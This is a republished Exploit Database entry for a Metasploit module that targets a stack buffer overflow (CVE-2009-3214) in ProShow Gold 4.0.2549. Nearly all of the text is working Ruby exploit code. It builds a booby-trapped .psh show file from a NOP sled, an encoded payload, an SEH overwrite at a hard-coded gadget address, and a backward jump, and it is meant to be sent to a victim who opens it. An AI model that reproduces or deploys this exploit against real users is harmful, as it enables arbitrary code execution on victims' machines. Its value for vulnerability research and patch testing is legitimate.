ProShow Gold 4.0.2549 – ‘.psh’ Local Stack Buffer Overflow (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2010-09-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16655/

• ##
  # $Id: proshow_cellimage_bof.rb 10477 2010-09-25 11:59:02Z mc $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow in ProShow Gold v4.0.2549.
  				An attacker must send the file to victim and the victim must open the file.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' => [ 'jduck' ],
  			'Version'=> '$Revision: 10477 $',
  			'References' =>
  				[
  					[ 'CVE', '2009-3214' ],
  					[ 'OSVDB', '57226' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/9483' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/9519' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' => "\x00\x0a\x0d",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# 0x01a614ea # p/p/r @ all.dnt
  					[ 'Windows Universal', { 'Offset' => 4036, 'Ret' => 0x101a4cf9 } ], # p/p/r if.dnt
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Aug 20 2009',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The file name.','msf.psh']),
  			], self.class)
  	end
  
  	def exploit
  
  		sploit = make_nops(target['Offset'] - 4 - payload.encoded.length)
  		sploit << payload.encoded
  		sploit << generate_seh_record(target.ret)
  
  		# note, just in case the arguments get modified, we'll jump back into our buffer...
  		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + target['Offset'].to_s).encode_string
  
  		# cause exception hitting the end of the stack
  		sploit << rand_text(1000) * 13
  
  		content = "Photodex(R) ProShow(TM) Show File Version=0\r\n"
  		content << "cells=1\r\n"
  		content << "cell[0].nrOfImages=1\r\n"
  		content << "cell[0].images[0].image=" << sploit << "\r\n"
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  		file_create(content)
  
  	end
  
  end